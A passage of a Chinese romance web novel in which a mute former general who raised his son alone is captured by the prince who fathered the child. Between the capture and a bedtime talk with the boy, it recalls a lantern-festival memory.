顾砚舟从没有哪一刻像现在这样心脏咚咚狂跳仿佛下一刻就要死了,他咬紧牙拼命往前跑,身后密集的脚步声穷追不舍,怀里的果儿终于意识到不对,两只小手紧张地抓着肉包子:“爹爹、爹爹,他们是坏人吗?”
顾砚舟已经没有余力打手语了,抱着他猛一蹬地,飞身跃上屋顶,可精锐侍卫也哗啦啦跃上来,紧紧咬在他身后。
甩不掉!
密集的脚步声响在屋顶,前面已经到了民居尽头,顾砚舟咬咬牙,从屋顶上一跃而下,几乎同一时刻,另一人从他头顶飞过,正正落在他跟前,挡住了他的去路。
是殿下。
四目相对,避无可避,顾砚舟浑身一僵,脚下硬生生刹住脚步,精锐侍卫一下子追上来,把他团团围住。
果儿吓呆了,一动都不敢动,语气里带上了哭腔:“爹爹……”
他害得爹爹被抓住了,原来有钱叔叔是坏人,要抓爹爹,都怪他,都怪他喊了那一声……
顾砚舟抱着他,让他把小脸埋在自己怀里,安慰地拍拍他的小脑袋,而后深吸一口气,鼓起勇气,抬头看去。
殿下双目发红,紧紧盯着他。
“……砚舟。”很久很久,祝时瑾才轻轻叫出这个名字,声音几近沙哑,“你活着。”
只是被他叫一声名字,顾砚舟的眼眶就猛然一热。
他也很想叫一声殿下。
可是他说不了话了。
脖子上的那道长长的伤疤,像是击垮他尊严的一记重锤,又像只是在他本就卑微屈着的脊背上多压了一根稻草。
他低下头,避开了殿下的视线。
可殿下却突然抬步朝他走过来。
顾砚舟心中一紧,简直慌不择路,正在此刻,侍卫们为祝时瑾让开包围圈,露出了片刻缝隙,他瞅准时机,猛地从空隙中冲了出去!
侍卫们纷纷惊叫,顾砚舟瞬间冲出包围圈,就在堪堪与祝时瑾擦肩而过之时,祝时瑾霹雳般出手,一把扣住他一条胳膊,将他猛地一扭!
顾砚舟肩上还有此次出海被海匪偷袭留下的肩伤,奔波一日伤口已经崩裂了,此时被他一扭,登时肩上一声皮开肉绽的细微声响,剧痛瞬间直冲头顶,他一声闷哼,单膝跪在了地上。
他的另一手抱着果儿无法腾出来,侍卫们此时也都反应过来,一拥而上,七手八脚将他制住,按在了泥地里。
果儿从爹爹怀里跌下来,吓得肉包子都掉在了地上,他看见那些坏人还在拿麻绳要绑爹爹,立刻爬起来扑腾着小手去打这些坏人,一边打一边哇哇大哭:“不要欺负我爹爹!不要欺负我爹爹!”
顾砚舟想安慰他不要紧的,爹爹没事,可是喉咙发不出声,整个人被按得跪在泥水里,挣扎间浑身狼狈,片刻,一双皂靴走到跟前,抱起了果儿。
顾砚舟的挣扎顿住了。
昭文踩着积水小跑过来,撑起了纸伞,这一方小空间的雨被隔绝,顾砚舟许久才鼓起勇气,一点一点抬起头,看向他。
殿下一点儿都没变,还是那样高高在上,还是那样神色淡淡。
而他却越混越差,沦落到出海谋生。
本来和殿下差得就够远的了。
顾砚舟望着他,鼻子一酸,竟想流泪。
他赶紧埋下脑袋。
他这个五大三粗的普通乾君,本来就没多少长处,要是还学人家娇滴滴的坤君那样掉眼泪,可真是面目狰狞。
“跟我回去。”祝时瑾将拼命挣扎乱踢乱蹬的果儿交给侍卫,伸手来扶他,“砚舟,跟我回去。”
世子殿下从不失态,但这会儿好像只会说这一句话了。
顾砚舟咬紧牙关,偏头避开了他的手。
那手顿在半空中。
果儿在侍卫怀里拼命挣扎,哭得撕心裂肺,两只小手拼命伸长了要去够他:“爹爹!爹爹!”
顾砚舟一听他的哭声,又挣扎起来,却被侍卫们狠狠压住,背上的伤在挣扎间又是阵阵剧痛,他额上都冒了一层冷汗,嘴唇隐隐泛白。
他这模样太狼狈了,穿着草鞋、蓑衣,奔波了一整天又被按在泥地里,浑身都脏兮兮的不能看,可他没办法,只能用这狼狈的模样,再次抬头,哀求地看着祝时瑾。
四目相对,殿下的双眼有些发红,视线只是轻轻一相接,顾砚舟的心都忍不住颤抖起来。
可是他不能再心动了。
顾砚舟咬紧嘴唇,祝时瑾目光一动,伸手来碰他的脸。
他一伸手,顾砚舟往后躲了一下。
那手又停在了半空。
很久很久,祝时瑾收回了手,第三次开口:“跟我回去。”
“跟我回去。我什么都答应你。”
顾砚舟愣了一下。
什么都答应?
那一瞬间,他竟然很卑鄙地想,那答应让我当世子妃也可以么?
可只是一瞬间,他就清醒过来了。
原先他身体健全,还当着东南府署的中郎将的时候,殿下都只把他当成召之即来挥之即去的一条狗,开心了赏他点儿东西,不开心了一脚把他踢开。
现在,他只是一个连话都讲不出来的半残废,殿下身边更没有他的位置了,还回去做什么呢?现在的生活就是他最好的归宿。
他摇了摇头。
祝时瑾的脸色微微一变,他望着沉默的、固执的顾砚舟,许久,再次开口:“为什么?为什么当年没有回王府?为什么独自在外生养果儿?你不为自己考虑,难道也不为果儿考虑?他快要四岁了,大字不识一个,穿着旧衣玩着破玩具,他本该在王府一生荣华富贵,为什么?”
顾砚舟几乎咬破嘴唇。
是,果儿本来可以过上荣华富贵的日子……
可是,果儿只是他这个出身平凡的乾君生出来的孩子,还是个坤君娃娃,就算回到王府,以后殿下娶了新的世子妃,能容得下果儿么?
也许过平凡日子就是果儿的命吧,谁叫他的亲生母亲如此无用。
顾砚舟闭了闭眼,重重磕下去,给世子殿下磕了个响头。
求求你,求求你,殿下,不要抢走我的孩子。
求求你……
祝时瑾脸色剧变,一把握住他的下巴逼他抬起
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脸:“够了!回答我!”
可是抬起来的顾砚舟的那张脸,也早已泪流满面。
“……”祝时瑾一抖,骤然松开了手,脚下踉跄了两步,昭文赶紧扶住他:“殿下。”
好半天,暴雨中都只有果儿的哭声,那童音在暴雨中显得尤为凄惨:“爹爹!爹爹!哇——我要爹爹!”
顾砚舟被果儿哭得心如刀绞。
要是分开,以后果儿每天都在王府的高墙中这样哭,甚至以后被殿下的新世子妃、被新世子妃的孩子欺负,还会比这更难过,更伤心,他想想心都要碎了。
他没有别的办法,只能又往下磕头,还没磕下去,一只大手伸过来抬住他的额头。
“……绑起来,带走。”殿下的声音听起来无比疲惫。
顾砚舟被绑住双手,押上了马车,依然坐在那个角落,发梢滴滴答答地滴水,但比当年更加狼狈,雨水和泥水混合在一起,连衣裳的本来颜色都看不出,脏兮兮的泥水顺着身体往下淌。
祝时瑾也没好到哪儿去,浑身都被雨淋透了,唯有怀里抱着的果儿,虽然哭得小脸通红,上气不接下气,但是穿着小蓑衣戴着小斗笠,只是脸蛋被雨水打湿了些。
祝时瑾把果儿抱在怀里,给他解开小斗笠和小蓑衣,拿干净的帕子擦擦他哭红的小脸蛋儿和湿漉漉的额发,柔声哄道:“乖,不哭了,爹爹带你和娘亲回家。”
果儿的小脑袋被擦得乱蓬蓬,像一颗爆炸的小毛桃,哭得小脸通红,不停抽噎,大叫:“你是坏蛋!你是坏蛋!我讨厌你!”
他小手一抓,在祝时瑾白皙俊美的脸上挠出几道抓痕,顾砚舟心里一紧,想制止,又发不出声音,可祝时瑾居然面色未变,轻轻捉住果儿乱挥的小手:“要好好说话,不能讨厌爹爹。”
“你才不是我爹爹!你是坏蛋!”果儿听见这个坏蛋居然还自称爹爹,简直气得跳脚,撕心裂肺地尖叫,“我讨厌你!讨厌你!你走!”
祝时瑾只是很耐心地抱着他,任他哭闹打骂,果儿没能闹多久,肚子就咕噜噜叫了。
果儿饿了,果儿真的很饿了。
他从出生起就没饿过肚子,爹爹从来都会让他吃得饱饱的,放在普通人家,他是多么幸福的一个小娃娃,今天简直是他出生以来第一个不幸的日子。
他终于不再叫骂踢打,只是极为伤心地呜呜哭起来:“爹爹,我肚子饿……”
顾砚舟心疼得直皱眉,挣了挣绑手的麻绳,动不了。
祝时瑾吩咐昭文去买饭菜,又找出备好的食盒,轻声哄着:“果儿先吃些,垫垫肚子。”
荷花果子递到跟前,果儿的哭声小了,张嘴想吃,又顿了顿,从祝时瑾怀里跳下来,抓起荷花果子跑到爹爹跟前。
“爹爹吃。”
头发乱蓬蓬好像一颗小毛桃的果儿踮起脚把荷花果子喂到满身泥泞的顾砚舟嘴边,虽然这个画面十分狼狈,可怜巴巴的,但是祝时瑾在旁看着,眼睛都不舍得眨一下。
顾砚舟看着果儿,努力低头,像以前那样要假装吃一口,可果儿却急道:“不能假吃!”
原来果儿知道……
顾砚舟在心里笑了笑,抵抗住背上的阵阵剧痛,再次低头——
咚——
他毫无预兆地栽倒下来。
祝时瑾一步上前,接住了他。
只是一碰,满手都沾了暗红的血迹。
祝时瑾的脸色一瞬间变了。
9. 5.讨厌我了?
顾砚舟昏迷了好几天。
朦朦胧胧、时梦时醒,他看见果儿抱着他的胳膊哭闹不止,看见来来往往、面色凝重的大夫们,更多的时候,看见的是殿下独自守在床边,蹙着眉头,就这么静静望着他。
殿下……
他很想再这么叫他一句,很想再看清他的模样,很想再伸手抚平一次他的眉心。
可是他只是昏昏沉沉、朦朦胧胧地看着,最后沉入循环往复的梦境中。
他梦到了几年前的花灯节。
那是他和殿下和好之后,第一次一起去花灯节,这一回没有再发生上次闻嘉言抢燕窝那样的意外,顾砚舟很顺利地和殿下从城东逛到城西——可惜天气冷了,他上个月花灯节前特地做的那身衣裳穿不了了,不过殿下知道后,叫人给他新做了一身。
顾砚舟对花灯节期待已久,最早是跟在大公子身边时,就梦想着有一天能和大公子一起来看花灯,没想到这愿望最终实现了,只是和他看灯的人变成了世子殿下。
顾砚舟转头看着身旁的殿下,花灯光影交错,殿下周身似乎都笼罩了一层淡淡的光晕,肤色通透如玉,眉眼俊美如画,这么看起来,和大公子更像了。
他看得入迷,殿下有所察觉,转过头来,把他抓了个现行。
“在看什么?”
顾砚舟登时脸红,连连摇头。
“人多,别走散了。”祝时瑾笑了笑,很不经意地,就牵住了他的手。正巧他说完,前面涌来一阵人潮,顾砚舟于是也抓紧了他,在汹涌的人潮中,他一直跟在殿下身后走着,殿下牵着他、护着他,不让别人撞到他,渐渐的,他的脸色烧红了。
顾砚舟,真不像话,你可是武状元呢,你考武举是为了给藩地效力的,结果现在让殿下走在你前面……
可心底里又有个很小的、自私的声音在说话——就今晚,就这个晚上,他们就像普通的、普通的……
“怎么这么多人呀,走都走不动。”旁边有娇滴滴的小姑娘在抱怨,护送着她的男子笑着安慰:“过了这条街就好了,这条街窄一些。”
恰在这时,殿下也回过头,说:“人多,跟紧些。”
顾砚舟看看那个娇滴滴的小姑娘,再看看拳头比碗还大的自己,登时满脸通红,极小声说:“殿下,要不我走前面吧。”
声音太小了,被人群的喧闹嘈杂远远压过去,殿下也许根本没听见,不过他说出了口,就当殿下已经听见了,顿觉身上的负担轻了,紧紧挨在了殿下身后。
走出这条街时,他们竟然碰上了闻敬珩,闻大公子孤身一人,不知来这花灯节凑什么热闹,看见他们,大老远就挥手打招呼。
顾砚舟赶紧把手抽了回来。
殿下瞥了他一眼,没说什么,闻敬珩逆着人潮挤过来,说:“殿下,你怎么也来花灯节。”
“砚舟没来过,想看看热闹。”
“……”闻敬珩看了顾砚舟一眼,神色微妙,片刻,说:“对了,还没告诉你,谢公子的腿恢复得不错,三个月之后可以不用拄拐,行走和常人无异,只是跑跳就不行了,阴雨天也会酸痛。”
当初伤成那样,能恢复到这个地步已不错了,顾砚舟点点头:“多谢。那我过阵子把他接出来。”
“接到哪儿去?你在宜州又没有宅子,难道接到王府?殿下养你一个就够麻烦的了。”闻敬珩说,“还是继续在我那儿住着吧,我就好人做到底,送佛送到西。”
顾砚舟被他说得有点儿不好意思,不过闻大公子现在对他的恶意已经减轻不少,没再追着他嘲讽,只转向殿下:“京城变故,新帝登基,这也有一两个月了,大公子有没有送信回来?他是回来还是留在京城?”
顾砚舟愣住了。
要是大公子能回来,就表明先帝的那封命各大藩王送未婚嫡出子女进京的诏书作废了,那、那……世子殿下也就不需要他这个冒牌王妃了。
他登时有些恐慌,心底里冒出来的第一个念头,竟然是希望大公子不要回来。
但只是一瞬间,他就反应过来。
他在想什么?
明明他喜欢的是大公子啊!他怎么会希望大公子回不来?!
“他写了信,入冬之后回来。”
闻敬珩高兴极了,当即拉着他们去酒楼,请他们吃了一顿丰盛的宵夜。
有不用花钱的好东西吃,顾砚舟该高兴的,可是整顿饭他都神思恍惚,根本没吃几口,白白浪费了闻大公子在这美酒佳肴上花的大笔银子。
回王府的马车上,顾砚舟盯着自己的鞋面发呆,盯着盯着,忽而注意到自己的衣摆。
这件是殿下送的新衣裳,衣袖是波光粼粼的,不,整件衣裳都是波光粼粼的,仔细一看,布料里头织着金线,怪不得他穿上这身衣裳的时候,觉得比他自己准备的那身要好看多了。
如果殿下不需要他这个冒牌世子妃了,他以后也就再也穿不了殿下送他的这样好看的衣裳了吧。
也不能再住王府的大院子,不会再有花不完的零花钱,不能天天吃山珍海味……
他在心里数着当世子妃的好处,数着数着,他看向了一旁的殿下。
殿下正靠在软枕上,漫不经心地翻着话本。烛光下,那张脸俊美绝伦,一双狭长凤目动人心魄,曾几何时,顾砚舟只能远远地仰望这双眼睛,现在却能离得这么近。
这双眼睛微微一抬,看了过来。
顾砚舟被抓了个正着,登时闹了个大红脸。
“在看什么?”祝时瑾轻轻一笑。
顾砚舟说不出话来,嗫嚅半天,道:“殿下,大公子要回来了,我、我是不是该收拾行李走了?”
祝时瑾略一挑眉:“你要走?”
“我、我总不能赖在王府不走,毕竟殿下你以后还要正儿八经地娶世子妃,我继续待着,也不合适。”
祝时瑾收回目光,继续看书:“嗯。”
顾砚舟心头那点儿微弱的希望熄灭了。
他抓抓脑袋,胡乱地说:“其实我也没有什么行李。这些穿的、用的,都是你给我买的,我不能带走。”
殿下盯着书,看都没看他一眼。
顾砚舟其实也不知道自己絮絮叨叨说这些做什么,难道殿下日理万机,还有闲功夫来管他收拾行李吗?殿下连给他的零花钱都是三千两的巨额,还管他带不带走那些穿的用的?
他说这些,也许只是想……想殿下能开口说点什么。
可是殿下什么都没有说。
等回到了王府,顾砚舟才后知后觉回过味儿来。
殿下对他来说,是高高在上的皎洁月亮,可是他对殿下来说,只是路边碰上的一条小狗。
这世上,月亮只有一个,灰头土脸的小狗却多得数不清,难道月光会独独照在他这条普普通通的小狗身上吗?
顾砚舟自己在屋里发了会儿呆,便找出包袱皮,开始收拾为数不多的行李。
大丫鬟昭月进来看见,惊讶道:“世子妃,您这是做什么?”
“以后我不是世子妃了。”顾砚舟把衣物细软清理出来,“你还不知道吧?大公子要回来了,他能回来,就说明先前那道圣旨作了废,殿下也就不需要我这个冒牌货了。”
昭月瞅着他,说:“世子妃,奴婢不清楚这些,奴婢只知道,您要不要走,得殿下说了才算。殿下没有开口,您就还是住在这儿。”
顾砚舟有点儿好笑,又有些心酸:“我总不能真的等他赶我走吧?”
“殿下不会赶您走的。”
“你就知道了?我今天和殿下说要走,殿下可是答应了的。”
昭月叹了一口气:“世子妃还不清楚殿下的脾气么?殿下是从不向人低头的。”
顾砚舟愣了愣,昭月随即说:“世子妃,您去求求殿下,求他让您留下来,他肯定会答应。”
顾砚舟登时脸红了:“我可是乾君!本来假嫁给殿下就够受人指摘的了,还去找殿下说这种话,别人都得在后面说我攀高枝了,我还没那么不要脸!”
昭月却说:“管他们说什么。攀高枝也不是人人攀得上的,殿下这支高枝,就从没有人攀上过,
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如果他对别人心狠,唯独对你心软,那就是心里有你呀!”
顾砚舟被昭月说得脑子一热,居然真的冲动地去找殿下了。
离殿下的院子越来越近,他的脚步就越来越慢,手也默默揪紧了衣摆,心又开始咚咚地跳起来,越跳越快,宛如擂鼓。
他不应该听昭月的教唆,跑来这里恬不知耻地开这个口的。他是个乾君,他该娶妻生子,殿下也该娶个貌美如花的坤君或坤女当世子妃,生个漂亮聪明的小殿下。
他是个乾君啊,居然妄想勾引殿下、攀上高枝,太厚颜无耻了。
太厚颜无耻了……
站在院门口,他几度想落荒而逃,恰巧昭文从院里出来,奇道:“世子妃来了,怎么不进去?”
顾砚舟干笑两声:“殿下在忙吗?”
昭文笑道:“今日花灯节,殿下把事情都推了,没什么忙的。”
有这一句话,顾砚舟的眼睛又亮了,他在书房找到殿下,殿下正在临帖,宣纸上写了几个字,砚台里的墨汁有些干了。
“殿下,我……呃……”他抓耳挠腮的,最后憋出一句,“你今晚不过来吗?”
祝时瑾把笔搁下,看着他。
顾砚舟登时浑身血液都涌到了脸上,脸红得跟猴子屁股似的。
“你不是要走了?”祝时瑾淡声道,“我以为你在收拾行李。”
他确实是在收拾行李,殿下是因为这个不过来的吗?要不然,一起逛完花灯节,本来应该……
顾砚舟胡思乱想着,心脏怦怦直跳,跳得那么快,他的大脑有些难以思考,头昏脑胀的,胆子就大了,就豁出去了,伸手搭上了殿下的手背。
祝时瑾的眼神终于有了变化。
顾砚舟第一次做这种恬不知耻的勾引,说话的声音都在发抖。
“殿下,我、我……不想离开王府。”他的脸红得要滴血,声音也小得几乎听不清,“我没地方住。”
祝时瑾定定看了他片刻,轻笑一声。
顾砚舟被他笑得头顶都要冒烟了,立刻就把手往回抽,然而,殿下的手却很快,一把抓住了他的手。
“那就继续住着。”祝时瑾把他拉过来,抱到书桌上,“王府院子这么多,还能没地方给你住么。”
……
顾砚舟从梦中清醒过来,第一眼,看见了床边那只握着自己的、白皙修长的手。
顺着这只手,他看见了熟悉的,俊美而冷淡的脸,那双眼睛在他醒来的一瞬间看了过来,四目相对的刹那,他抖了一下,立刻将手抽了回来。
那双眼睛黯淡了几分,但依然望着他,低声道:“你现在身子很虚弱,不要乱动。”
顾砚舟不动了。
屋里只有他们两个,窗外暮色沉沉,床头点着一盏烛灯,火苗在沉默的空气中微微摇晃。
许久,祝时瑾道:“……你活下来了,为什么不回来?”
“……”
“我那时不知道你怀孕了。”
“……”
“要是回来,在王府养伤,生产,你身子底子总不会像现在这样差。”
“……”
印象中,殿下从没有这样温柔的,甚至有些放低身段的,来和他说话。
如果当年也愿意和他说这些就好了,他一定会高兴地叽叽喳喳回应。
可是现在他说不了话了。
顾砚舟垂着眼,做好一个哑巴的本分。
“……不愿意和我说话么?”祝时瑾低声道,“讨厌我了?”
“……”
祝时瑾叹了一口气:“好罢。先回宜州,养好身子,来日方长。”
回宜州?不,他不回宜州。
顾砚舟想比划手语,可是殿下未必能看懂,这时,下人在外头敲门,说到晚饭时候了,祝时瑾便起身,叫大夫来给他把脉。
下人们照着吩咐上了饭菜,祝时瑾又把睡熟的果儿抱来给他看,像个很普通的、新得了孩子的男人,有点儿忍不住的雀跃和炫耀,到妻子跟前说:“我哄了很久,刚刚睡着。”
10. 6.保护爹爹
顾砚舟看了看孩子——果儿换衣裳了,现在穿着粉白的云纹织金上衣和石榴红的裙子,两只小脚上套着雪白柔软的罗袜,这才是坤君娃娃该穿的衣裳,而不是跟着他天天穿得像个泥娃娃。
“这几天他闹得厉害,有些低烧。”祝时瑾轻轻捉住他的手,顾砚舟抖了一下,可祝时瑾还是将他的手贴在果儿额上。
顾砚舟的手指轻轻蜷缩起来,很不适应他的碰触,不过祝时瑾也像是真的只要他摸摸孩子,很快就松了手。
顾砚舟赶紧把手缩进了被子里。
大夫在旁道:“小公子还是有些低烧,要继续用冷水降温。”
顾砚舟说不出话,只担忧地看着果儿。
刚生下果儿的时候,因为他大伤未愈,身体太过虚弱,又是乾君,根本没有一点奶水,只能挨家挨户去问,问有没有家里刚生了小孩的,给他的孩子吃几口,他付些钱。
但是普通人家的产妇,又不是高门大户专门请来养着的奶娘,奶水能喂饱自家的孩子就不错了,哪有余力再喂一个?果儿东一家西一家地讨口粮,口粮也有好有差的,便常常生病,后来顾砚舟身体养好了些,有力气出远门了,才想尽办法弄了羊奶牛奶给他喝,渐渐把他的身体养好起来。
虽然辛苦了些,但总算也把果儿拉扯到四岁,眼看着果儿从咿咿呀呀满地乱爬的小婴儿长成现在能跑能跳的乖孩子,以后还会长成俊秀风流的少年、青年。
他本以为,可以就这样安安静静地过完一辈子的。
顾砚舟忍不住,伸手轻轻捏了捏果儿睡梦中半握着的小拳头。
他这样的千辛万苦,也只不过勉强能让果儿过上比普通人家的孩子稍好一点的生活而已,能吃饱喝足,有糖面人儿吃,能够去县城里上私塾……这在普通人看来好得过分的日子,放到殿下跟前,就显得十分寒酸了。
锦衣玉食、荣华富贵,只要殿下牵着果儿的手踏进王府的门槛,果儿就一下子拥有了,殿下甚至无需再费心做些其他什么。
这样的轻而易举,他就是再辛苦百万倍、千万倍,也做不到。
他怎么抢得过殿下呢?
顾砚舟握着果儿的小手,很久,才慢慢收回来。
但是,就在他松手的片刻,睡梦中的果儿似有所觉,小手一下子抓住了他的拇指。
顾砚舟的心猛然一颤。
那小手握得很紧,然而果儿握得再紧,不过是一个小孩子,又能有多大的力气?每次他趁果儿睡熟了,偷偷启程出海的时候,不都是轻而易举地就挣脱了这只小手吗?
可是现在,他被这只热乎乎的小手抓住,就像心尖被勾住了,一动,心也像要被撕碎了。
他动不了了。
他想起最难的时候,伤未痊愈,肚子大了,只能东躲西藏,在破破烂烂的茅草屋里啃干粮度日,果儿降生的那一晚,他几度以为自己就要死在那里了,昏死过去又痛醒来,不知道流了多少血,最后果儿在一片血泊里滑出来,软绵绵的,比一只小奶猫大不了多少,脸是乌青色,已经没有了呼吸。
他爬起来,胡乱抓着茅草、衣物,给孩子脸上的血污擦干净,拼命按压孩子的心脏、拍他的后背,终于,这小家伙喘上了一口气,发出尖而细的哭声。
他抱着这个属于自己的孩子,倒在混着血和汗的茅草堆里,很久很久都没有力气爬起来,那种浑身的血都流干、再没有一丝力气的感觉,让他觉得自己应该很快就要死了。
可是想到天地之间,只有他和这个孱弱的孩子相依为命,他又咬牙挺了下来,他自己都不知道自己是怎么活下来的。
这个支撑着他活到现在的孩子,他怎么舍得?
顾砚舟的眼眶红了,祝时瑾望着他,轻声说:“别担心,有我在,你和果儿都不会有事。”
有你在。
要是当年你也在就好了。
顾砚舟闭了闭眼。
现在还说这些,没什么意思,这世上本来就没有如果。
这时,祝时瑾怀里抱着的果儿皱了皱眉,哼哼两声,睁开了眼。
看见抱着自己的是大坏蛋,他立刻双手双脚拒绝,四肢并用狠狠把祝时瑾推开:“走开!不要你抱!放开我!”
拳打脚踢之间,他看见床上的爹爹已经醒了,立刻从祝时瑾怀里扭出来,跳到床上:“爹爹!”
他扑上来抱住爹爹,还没说话,眼泪就开始往下掉了:“爹爹,你吓死我了,我以为你要死了……”
顾砚舟无奈地摸摸他的小脑袋,给他比划手语:[爹爹没事。]
“真的没事吗?你流了好多血。”
[已经不流血了。]
祝时瑾看着妻儿就这样一个比划一个叭叭叭地说话,就是再迟钝,也发现了不对劲,脸色一下子变得很难看。
“……你说不了话了?”祝时瑾的声音很轻,有些颤抖。
果儿立刻反击:“爹爹只是不能说话而已,别的都比你强。”
当啷——
祝时瑾手上端的汤碗一滑,瓷碗掉在地上摔了个粉碎,汤洒了一地。
即使知道哑了这事儿总有一天会被殿下发现,可真到被发现的时候,顾砚舟还是像被当面打了两巴掌一样难堪,他垂下了眼,余光却见殿下抬起手,竟然要来碰他的喉咙。
顾砚舟猛地护住脖子,紧紧捂住那缠着脖子的靛蓝细布,一下子避开了他的手。
“……”
那只手在半空中顿了很久,才收了回去。
半晌,祝时瑾再次开口,嗓子有些发哑:“我找最好的大夫,一定能治好。”
顾砚舟顿了顿,摇摇头。
治好或治不好,都没什么关系,反正他不是哑巴的时候,也没比现在有出息多少。现在他混成了商队首领,底下带着一帮兄弟,日子过得比以前还要好呢,也许这才是他该过的生活,他出生就是在海上,死也该死在海上。
“你恨我也好,怨我也罢,先把伤治好……这是我欠你的。就让我补偿给你吧。”
顾砚舟沉默了许久,还是摇头。
经历了这么多事,说没有怨、没有恨,那是假的,可是在果儿出生的那个晚上,他躺在茅草堆里,以为自己要死了的时候,他抱着没有呼吸的果儿
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,以为孩子死了的时候,他心里只剩下一个念头。
能活下来就好了。
什么恩恩怨怨、情情爱爱,只要他和孩子能活下来,他都不再去想了。
他只要这样守着果儿过完下半辈子就可以了。
许久,祝时瑾轻声道:“为什么现在总是对我摇头呢?”
可即使是这一句,顾砚舟也无法回答。
下人上了饭菜,把饭桌挪到床边,顾砚舟就让果儿坐在怀里,费劲地亲自给他喂饭。
果儿从小是他带大的,非常粘他,吃饭洗脸要爹爹帮忙那是家常便饭,不过这回只在他怀里待了一会儿,就很懂事地自己爬到旁边的圆凳上去:“爹爹也吃,爹爹再吃一点。我自己可以吃。”
顾砚舟比划:[果儿是乖宝宝。]
然后把饭碗和勺子搁在他面前,让他自己吃。
果儿太小了,坐在圆凳上脑袋够不到桌子,只能半跪半蹲的在凳上吃饭,片刻,祝时瑾起身,走过来把果儿一抱,将旁边斗柜上的小木箱垫在了孩子屁股底下。
这样,果儿就够得到桌子了。
“大坏蛋,不要你假好心。”果儿小声说。
果儿是很记仇的,大坏蛋害得他和爹爹在城里东躲西藏一整天,害得爹爹受伤流血差点死了,他心里记得清清楚楚的呢,就算给他再多好吃的、再多漂亮衣裳,他也不会原谅大坏蛋!
祝时瑾没说什么,继续给他夹菜,果儿抱着饭碗,从饭碗上方抬起头看他,看了一会儿,说:“你为什么抓我和爹爹?”
祝时瑾道:“我是你的爹爹,他是你的娘亲,你是我们的亲生孩子。一家三口当然要在一起。”
果儿一愣,转头去看顾砚舟,顾砚舟无奈,只能对他摇摇头。
“爹爹说不是,你是骗子!”
“那你为什么和我长得这么像?”
“我和你一点儿也不像!”
祝时瑾并未继续纠正,他对果儿的态度要比对顾砚舟纵容放松得多,果儿反驳他,甚至骂他,他也不着急。
——毕竟血缘关系是天生注定,果儿是他的血脉骨肉,跑得再远也是他的骨肉。
顾砚舟就不一样了。
吃完了饭,下人伺候洗漱,果儿把小脸小手洗干净,就墩墩墩跑到爹爹床前:“今晚我可以和爹爹睡吗?”
果儿三岁以后,顾砚舟就给他做了单独的小木床,摆在自己床边。刚开始果儿很不适应,总是半夜偷偷爬到他床上来,要爹爹抱着睡觉——因为对小孩儿来说,夜里离开安全的怀抱是很可怕的。顾砚舟给他纠正了大半年,才勉强能分床睡。
担心这一次答应了他,之后他又不肯自己睡了,顾砚舟便摇摇头:[果儿已经长大了,要自己睡。]
果儿的黑眼珠滴溜溜一转,说:“这几天大坏蛋都在这里睡,我和爹爹睡,保护爹爹!”
顾砚舟愣住了,下意识去看一旁的祝时瑾,祝时瑾像是没有听见,正吩咐下人搬来一张软榻,放在床边,又抬了屏风隔在中间。
——他今晚要睡那张榻上了……那之前几晚他是睡在哪里?
11. 7.故地重游
顾砚舟脑袋发蒙,在他的注视下,祝时瑾神色如常,在屏风后那张软榻睡下了。
果儿抬起小手指着那屏风,意思正是——爹爹你看,大坏蛋都睡了,我们也睡吧。
顾砚舟拿他们没办法,大的也是,小的也是,也许祝家的血脉天生就是克他的。
他点点头,果儿欢呼一声,四脚并用爬上了床,钻进了被窝里。
顾砚舟也躺下来,摸了摸他的额头,好像没有那么烫了。
[果儿舒服点了吗?]
果儿的脸蛋挨着他的胳膊:“爹爹好啦,我就好啦。”
床帐放下来,只一点儿昏黄的烛光透进来,这方狭小空间给了父子俩莫大的安全感似的,一大一小静静依偎着,片刻,顾砚舟抬手比划:[爹爹这次出海赚了很多钱,以后可以不用经常出海,在家多陪陪果儿。]
果儿双眼一亮:“真的吗?”
他爬过爹爹的胳膊,趴到爹爹肚子上:“那我要爹爹每天陪我玩小皮球,还要爹爹教我功夫。”
顾砚舟点点头:[爹爹还会送你去读书,你会认识很多新朋友。]
果儿嘿嘿一笑:“爹爹,你给我讲你在海上的故事吧。”
顾砚舟就给他比划:[爹爹这次去的一个海岛上,住着长相很奇怪的异族人,他们每个人嘴里都含着一个很大的圆盘……]
他比划了很久,果儿的小脑袋一点一点埋下去了,等他讲完这个奇遇时,小娃娃已经趴在他怀里,睡着了。
顾砚舟就轻轻把他抱到一旁去睡,哪知道刚抱起来,就见果儿两只黑眼睛还滴溜溜地转着,根本没睡!
[果儿怎么没睡觉?]
果儿趴在他肚皮上,瞅着他,突然很小声地问:“爹爹,我是从你肚子里生出来的吗?”
顾砚舟猛地愣住了。
果儿有点儿忐忑,也有点儿期待,又问:“那……你就是我的娘亲吗?”
顾砚舟心中惊涛骇浪,一时竟不知如何反应——他低估了小孩子的敏锐程度,尤其是果儿这样的,从小过着单亲生活的孩子,他看见别的小孩都有爹爹娘亲,自己却只有爹爹,当然会对“娘亲”有一种天然的敏锐。
祝时瑾只是说了一句“他是你的娘亲”,果儿心里就再也忘不掉这句话了。
顾砚舟愣了好半天,才有些慌乱地抬手,想打手语,却又想不出能怎么给孩子解释,手抬起来老半天都没能比划明白。
要怎么说?
要告诉果儿你有爹爹也有娘亲吗?
可是……当你知道自己其实有爹爹也有娘亲之后,你还愿意过只有娘亲一个人照顾你的生活吗?
尤其是,你的爹爹贵为东南藩地世子殿下,你的娘亲却只是个平平无奇,甚至连普通人都不如的半残废。明明跟着爹爹可以过上一辈子荣华富贵的生活,跟着娘亲却只能风餐露宿、朝不保夕。
你还愿意过只有娘亲一个人照顾你的生活吗?
也许你要说娘亲自私,可是那荣华富贵是要拿你以后受委屈来换的,等你爹爹有了新世子妃之后……可是现在的你不会懂。
顾砚舟深吸一口气,最后,还是轻轻摇摇头。
[不是的。果儿没有娘亲。]
果儿的小脸唰的一下变白了。
顾砚舟的鼻子也酸酸的,摸摸他的小脑袋。
[有爹爹在呢。没有娘亲也一样的。]
果儿小嘴一瘪,泪花在眼眶里直打转,可他还是继续问:“爹爹的嗓子能治好,是真的吗?”
祝时瑾刚刚说过的话,果儿一句一句都记住了,真是个天生就机灵的孩子。
顾砚舟摸着他的小脑袋,摇摇头:[果儿,治不好也没关系的。]
“我想要爹爹的嗓子治好,不想爹爹再被别人瞧不起,明明爹爹比他们都厉害。”果儿的眼泪啪嗒啪嗒掉下来了,“爹爹,能不能让大坏蛋给你治好嗓子?”
顾砚舟摇摇头:[爹爹不能和他在一起。]
果儿呜呜呜地哭了起来,把脸埋在了他肚皮上。
为什么?
为什么?
